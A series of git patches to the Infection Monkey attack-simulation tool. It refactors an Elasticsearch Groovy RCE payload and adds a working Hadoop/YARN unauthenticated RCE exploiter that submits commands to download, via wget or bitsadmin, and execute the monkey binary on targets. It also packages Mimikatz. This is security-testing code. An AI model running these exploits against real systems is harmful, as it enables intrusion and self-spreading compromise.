b/infection_monkey/exploit/elasticgroovy.py @@ -19,16 +19,10 @@ LOG = logging.getLogger(__name__) class ElasticGroovyExploiter(WebRCE): # attack URLs - BASE_URL = 'http://%s:%s/_search?pretty' MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD - JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' - JAVA_GET_TMP_DIR = \ - GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' - JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_CMD = GENERIC_QUERY \ % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" - JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' # Both commands are prepared for use in future development RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' From 4d6472cce10e7c34fb743dc1720f208eb312b3d0 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 16:52:29 +0300 Subject: [PATCH 122/137] Ports are now taken from elastic_fingerprint module --- infection_monkey/exploit/elasticgroovy.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index db07e00e1..74be84a79 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -9,6 +9,7 @@ import logging import requests from exploit.web_rce import WebRCE from model import WGET_HTTP_UPLOAD +from network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -44,9 +45,8 @@ class ElasticGroovyExploiter(WebRCE): def get_open_service_ports(self, port_list, names): # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) - elastic_service = [service for service in self.host.services if 'elastic-search' in service][0] - elastic_port = [elastic_service.lstrip('elastic-search-'), False] - valid_ports.append(elastic_port) + if ES_SERVICE in self.host.services: + valid_ports.append([ES_PORT, False]) return valid_ports def exploit(self, url, command): From 5b6a9595f46dbdeb7268b3ce7bced16f6fbeae1d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 29 Aug 2018 16:56:55 +0300 Subject: [PATCH 123/137] mimikatz zip is now in datas --- infection_monkey/monkey.spec | 3 +-- infection_monkey/pyinstaller_utils.py | 1 + 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index 2f536dcdc..b4449361b 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -1,7 +1,6 @@ # -*- mode: python -*- import os import platform -import zipfile # Name of zip file in monkey. That's the name of the file in the _MEI folder MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' @@ -25,7 +24,7 @@ a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINAR if platform.system().find("Windows") >= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.binaries += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] + a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, diff --git a/infection_monkey/pyinstaller_utils.py b/infection_monkey/pyinstaller_utils.py index c31e7748c..d169bda6a 100644 --- a/infection_monkey/pyinstaller_utils.py +++ b/infection_monkey/pyinstaller_utils.py @@ -4,6 +4,7 @@ import sys __author__ = 'itay.mizeretz' + def get_binaries_dir_path(): """ Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise) From cd020668efd2833bded9fec10827ec76581950a0 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 29 Aug 2018 16:58:33 +0300 Subject: [PATCH 124/137] Add note regarding 7zip --- infection_monkey/readme.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/readme.txt b/infection_monkey/readme.txt index 0096f98ab..c90b1f6af 100644 --- a/infection_monkey/readme.txt +++ b/infection_monkey/readme.txt @@ -74,4 +74,5 @@ Download both 32 and 64 bit zipped DLLs and place them under [code location]\inf Alternatively, if you build Mimikatz, put each version in a zip file. 1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll 2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. -3. The zip file should be named mk32.zip/mk64.zip accordingly. \ No newline at end of file +3. The zip file should be named mk32.zip/mk64.zip accordingly. +4. Zipping with 7zip has been tested. Other zipping software may not work. \ No newline at end of file From 304f5bd64353a7702114ff2d8c474aab34d6ae1e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 17:14:55 +0300 Subject: [PATCH 125/137] Removed unused commands --- infection_monkey/exploit/elasticgroovy.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 74be84a79..c4cc3e4a7 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from exploit.web_rce import WebRCE -from model import WGET_HTTP_UPLOAD +from model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP from network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -25,11 +25,6 @@ class ElasticGroovyExploiter(WebRCE): JAVA_CMD = GENERIC_QUERY \ % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" - # Both commands are prepared for use in future development - RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' - POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s'" \ - r" -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" - _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): @@ -39,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': self.RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): From 477836e1c996e280c1f7b8c6ad9729ea6020e37b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 17:19:51 +0300 Subject: [PATCH 126/137] Blank newline added to match source file --- infection_monkey/network/mssql_fingerprint.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index f973f3d87..d9361b033 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,6 +29,7 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ + assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From a2bebca4bcbf94f6f682aac0156e05850256a80a Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 17:20:43 +0300 Subject: [PATCH 127/137] spaces removed --- infection_monkey/network/mssql_fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index d9361b033..9409c2255 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,7 +29,7 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - + assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 5674bebfa67610a0f1eab75d45ffafb2ce28d1cd Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 30 Jul 2018 17:48:15 +0300 Subject: [PATCH 128/137] Core code written but nothing tested --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/hadoop.py | 95 +++++++++++++++++++ monkey_island/cc/services/config.py | 10 +- monkey_island/cc/services/report.py | 17 +++- .../cc/ui/src/components/pages/ReportPage.js | 24 ++++- 7 files changed, 146 insertions(+), 8 deletions(-) create mode 100644 infection_monkey/exploit/hadoop.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f8094817c..95a6e9605 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1d6d4f0e9..e4ed17b8f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -38,7 +38,8 @@ "ElasticGroovyExploiter", "SambaCryExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 346f6276b..d4456d20e 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -43,3 +43,4 @@ from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter from weblogic import WebLogicExploiter +from hadoop import HadoopExploiter diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py new file mode 100644 index 000000000..3490a3129 --- /dev/null +++ b/infection_monkey/exploit/hadoop.py @@ -0,0 +1,95 @@ +""" + Remote code execution on HADOOP server with YARN and default settings + Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn +""" + +import requests +import json +import random +import string +import logging +from exploit.web_rce import WebRCE +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +import posixpath +from threading import Lock +from model import DROPPER_ARG + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + +class HadoopExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + HADOOP_PORTS = ["8088"] + LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \ + "&& chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + + LOCK = Lock() + + def __init__(self, host): + super(HadoopExploiter, self).__init__(host) + + def exploit_host(self): + # Try to get exploitable url + exploitable_url = False + urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) + for url in urls: + if self.try_exploit(url): + exploitable_url = url + break + if not exploitable_url: + LOG.info("No exploitable Hadoop server found") + return False + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = WebRCE.get_monkey_dest_path(self._config, src_path) + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + if 'linux' in self.host.os['type']: + command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + else: + command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + if not path: + return False + # To avoid race conditions we pass a locked lock to http servers thread + self.LOCK.acquire() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) + self.LOCK.acquire() + self.exploit(url, command) + + def exploit(self, url, command): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + resp = json.loads(resp.content) + app_id = resp['application-id'] + # Create a random name for our application in YARN + rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) + payload = { + "application-id": app_id, + "application-name": rand_name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + + def try_exploit(self, url): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + if resp.status_code == 200: + return True + else: + return False \ No newline at end of file diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 16c7502f1..662b58b6d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -93,6 +93,13 @@ SCHEMA = { "WebLogicExploiter" ], "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" } ] }, @@ -634,7 +641,8 @@ SCHEMA = { "SambaCryExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f8647e81e..c3eaf4ed2 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -31,7 +31,8 @@ class ReportService: 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter', - 'WebLogicExploiter': 'Oracle WebLogic exploiter' + 'WebLogicExploiter': 'Oracle WebLogic Exploiter', + 'HadoopExploiter': 'Hadoop/Yarn Exploiter' } class ISSUES_DICT(Enum): @@ -44,7 +45,8 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 - WEBLOGIC = 9 + WEBLOGIC = 9, + HADOOP = 10 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -306,6 +308,12 @@ class ReportService: processed_exploit['type'] = 'weblogic' return processed_exploit + @staticmethod + def process_hadoop_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'hadoop' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -319,7 +327,8 @@ class ReportService: 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit, - 'WebLogicExploiter': ReportService.process_weblogic_exploit + 'WebLogicExploiter': ReportService.process_weblogic_exploit, + 'HadoopExploiter': ReportService.process_hadoop_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -441,6 +450,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'] == 'weblogic': issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True + elif issue['type'] == 'hadoop': + issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index ac796af61..198cf021c 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -25,7 +25,8 @@ class ReportPageComponent extends AuthComponent { AZURE: 6, STOLEN_SSH_KEYS: 7, STRUTS2: 8, - WEBLOGIC: 9 + WEBLOGIC: 9, + HADOOP: 10 }; Warning = @@ -331,6 +332,8 @@ class ReportPageComponent extends AuthComponent {
  • Oracle WebLogic servers are vulnerable to remote code execution. ( CVE-2017-10271)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null }
    : @@ -716,6 +719,22 @@ class ReportPageComponent extends AuthComponent { ); } + generateHadoopIssue(issue) { + return ( +
  • + Run Hadoop in secure mode( + add Kerberos authentication). + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to default Hadoop/Yarn configuration being insecure. +
    +
  • + ); + } + generateIssue = (issue) => { @@ -769,6 +788,9 @@ class ReportPageComponent extends AuthComponent { case 'weblogic': data = this.generateWebLogicIssue(issue); break; + case 'hadoop': + data = this.generateHadoopIssue(issue); + break; } return data; }; From c7952dcbc547dd7a943580458f96779d2eb17aee Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 31 Jul 2018 18:05:51 +0300 Subject: [PATCH 129/137] Fixed reporting and upploading bugs --- infection_monkey/exploit/hadoop.py | 55 +++++++++++++------ infection_monkey/network/mssql_fingerprint.py | 3 +- .../cc/ui/src/components/pages/ReportPage.js | 4 +- 3 files changed, 41 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 3490a3129..805f0f602 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -12,7 +12,7 @@ from exploit.web_rce import WebRCE from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath from threading import Lock -from model import DROPPER_ARG +from model import DROPPER_ARG, DOWNLOAD_TIMEOUT __author__ = 'VakarisZ' @@ -20,13 +20,17 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] - HADOOP_PORTS = ["8088"] - LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \ - "&& chmod +x %(monkey_path)s " \ + # TODO add more hadoop ports + HADOOP_PORTS = [["8088", False]] + + # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes + # to download monkey at the same time + LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - LOCK = Lock() def __init__(self, host): @@ -47,25 +51,33 @@ class HadoopExploiter(WebRCE): if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - # Determine which destination path to use + # Determine where to save monkey on the target LOG.debug("Monkey path found") path = WebRCE.get_monkey_dest_path(self._config, src_path) - # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) - if 'linux' in self.host.os['type']: - command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - else: - command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - if not path: - return False # To avoid race conditions we pass a locked lock to http servers thread self.LOCK.acquire() # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) self.LOCK.acquire() - self.exploit(url, command) + + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + if 'linux' in self.host.os['type']: + command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + else: + command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + # command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path} + if not path: + return False + + if not self.exploit(url, command): + return False + self.LOCK.release() + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + return True def exploit(self, url, command): # Get the newly created application id @@ -85,10 +97,17 @@ class HadoopExploiter(WebRCE): "application-type": "YARN" } resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + if resp.status_code == 202: + return True + else: + return False def try_exploit(self, url): # Get the newly created application id - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + try: + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + except requests.ConnectionError: + return False if resp.status_code == 200: return True else: diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..ea4370d24 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - + # TODO remove auto-return + return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 198cf021c..cd417d47a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -332,7 +332,7 @@ class ReportPageComponent extends AuthComponent {
  • Oracle WebLogic servers are vulnerable to remote code execution. ( CVE-2017-10271)
  • : null } - {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? + {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null }
    @@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent { generateHadoopIssue(issue) { return (
  • - Run Hadoop in secure mode( + Run Hadoop in secure mode( add Kerberos authentication). Oracle WebLogic server at {issue.machine} ( Date: Fri, 3 Aug 2018 18:28:02 +0300 Subject: [PATCH 130/137] Final tests, windows command changed --- infection_monkey/exploit/hadoop.py | 24 +++++++++++++----------- infection_monkey/transport/http.py | 2 +- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 805f0f602..a5839697f 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -12,15 +12,15 @@ from exploit.web_rce import WebRCE from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath from threading import Lock -from model import DROPPER_ARG, DOWNLOAD_TIMEOUT +from model import MONKEY_ARG __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) + class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] - # TODO add more hadoop ports HADOOP_PORTS = [["8088", False]] # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes @@ -29,8 +29,10 @@ class HadoopExploiter(WebRCE): "&& wget -O %(monkey_path)s %(http_path)s " \ "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ + " Update /download /priority high %(http_path)s %(monkey_path)s " \ + "& %(monkey_path)s %(monkey_type)s %(parameters)s" + DOWNLOAD_TIMEOUT = 90 LOCK = Lock() def __init__(self, host): @@ -64,18 +66,17 @@ class HadoopExploiter(WebRCE): monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) if 'linux' in self.host.os['type']: command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} else: command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - # command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} if not path: return False - if not self.exploit(url, command): + if not self.exploit(exploitable_url, command): return False self.LOCK.release() - http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -102,7 +103,8 @@ class HadoopExploiter(WebRCE): else: return False - def try_exploit(self, url): + @staticmethod + def try_exploit(url): # Get the newly created application id try: resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) @@ -111,4 +113,4 @@ class HadoopExploiter(WebRCE): if resp.status_code == 200: return True else: - return False \ No newline at end of file + return False diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index b65fda4e9..cae4842d0 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -179,7 +179,7 @@ class HTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=60): + def stop(self, timeout=5): self._stopped = True self.join(timeout) From 504281dbcb9fb38186133263643395a12af6e7e7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 4 Aug 2018 13:04:30 +0300 Subject: [PATCH 131/137] quick-fix --- infection_monkey/network/mssql_fingerprint.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ea4370d24..f973f3d87 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,8 +29,6 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - # TODO remove auto-return - return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 02c27584da6cc82eb4a4fc96ffd66837b2b44c76 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sun, 26 Aug 2018 14:13:28 +0300 Subject: [PATCH 132/137] Refactored according to latest web_rce framework changes --- infection_monkey/exploit/hadoop.py | 55 +++++++++++++++++------------- 1 file changed, 31 insertions(+), 24 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index a5839697f..1065e7aec 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -9,7 +9,7 @@ import random import string import logging from exploit.web_rce import WebRCE -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path import posixpath from threading import Lock from model import MONKEY_ARG @@ -32,8 +32,8 @@ class HadoopExploiter(WebRCE): WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" + # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 90 - LOCK = Lock() def __init__(self, host): super(HadoopExploiter, self).__init__(host) @@ -41,7 +41,7 @@ class HadoopExploiter(WebRCE): def exploit_host(self): # Try to get exploitable url exploitable_url = False - urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) + urls = self.build_potential_urls(self.host, self.HADOOP_PORTS) for url in urls: if self.try_exploit(url): exploitable_url = url @@ -55,27 +55,29 @@ class HadoopExploiter(WebRCE): return False # Determine where to save monkey on the target LOG.debug("Monkey path found") - path = WebRCE.get_monkey_dest_path(self._config, src_path) + path = get_monkey_dest_path(src_path) + if not path: + return False # To avoid race conditions we pass a locked lock to http servers thread - self.LOCK.acquire() + lock = Lock() + lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) - self.LOCK.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock) + lock.acquire() # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) if 'linux' in self.host.os['type']: - command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} + base_command = self.LINUX_COMMAND else: - command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} - if not path: - return False + base_command = self.WINDOWS_COMMAND + + command = base_command % {"monkey_path": path, "http_path": http_path, + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} if not self.exploit(exploitable_url, command): return False - self.LOCK.release() + lock.release() http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -87,16 +89,7 @@ class HadoopExploiter(WebRCE): app_id = resp['application-id'] # Create a random name for our application in YARN rand_name = 